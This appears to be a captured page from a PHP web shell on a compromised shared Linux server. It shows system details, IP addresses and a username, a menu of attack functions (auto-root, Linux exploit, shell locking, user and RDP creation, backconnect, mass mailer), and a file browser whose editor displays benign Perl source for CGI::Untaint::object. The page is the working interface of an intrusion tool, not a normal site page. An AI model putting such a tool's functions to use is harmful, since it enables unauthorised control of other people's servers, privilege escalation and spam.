Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
CGI /
Untaint /
[ HOME SHELL ]
Name
Size
Permission
Action
email.pm
1.19
KB
-rw-r--r--
hex.pm
609
B
-rw-r--r--
integer.pm
703
B
-rw-r--r--
object.pm
1.57
KB
-rw-r--r--
printable.pm
603
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : object.pm
package CGI::Untaint::object; =head1 NAME CGI::Untaint::object - base class for Input Handlers =head1 SYNOPSIS package MyUntaint::foo; use base 'CGI::Untaint::object'; sub _untaint_re { return qr/$your_regex/; } sub is_valid { my $self = shift; return is_ok($self->value); } 1; =head1 DESCRIPTION This is the base class that all Untaint objects should inherit from. =cut use strict; sub _new { my ($class, $h, $raw) = @_; bless { _obj => $h, _raw => $raw, _clean => undef, } => $class; } =head1 METHODS TO SUBCLASS =head2 is_valid / _untaint_re Your subclass should either provide a regular expression in _untaint_re (and yes, I should really make this public), or an entire is_valid method. =cut sub is_valid { 1 } =head1 METHODS TO CALL =head2 value This should really have been two methods, but too many other modules now rely on the fact that this does double duty. As an accessor, this is the 'raw' value. As a mutator it's the extracted one. =cut sub value { my $self = shift; $self->{_clean} = shift if defined $_[0]; $self->{_raw}; } sub _untaint { my $self = shift; my $re = $self->_untaint_re; die unless $self->value =~ $self->_untaint_re; $self->value($1); return 1; } =head2 re_all / re_none Regular expressions to match anything, or nothing, untained. These should only be used if you have already validated your entry in some way that means you completely trust the data. =cut sub re_all { qr/(.*)/ } sub re_none { qr/(?!)/ } =head2 untainted Are we clean yet? =cut sub untainted { shift->{_clean} } 1;
Close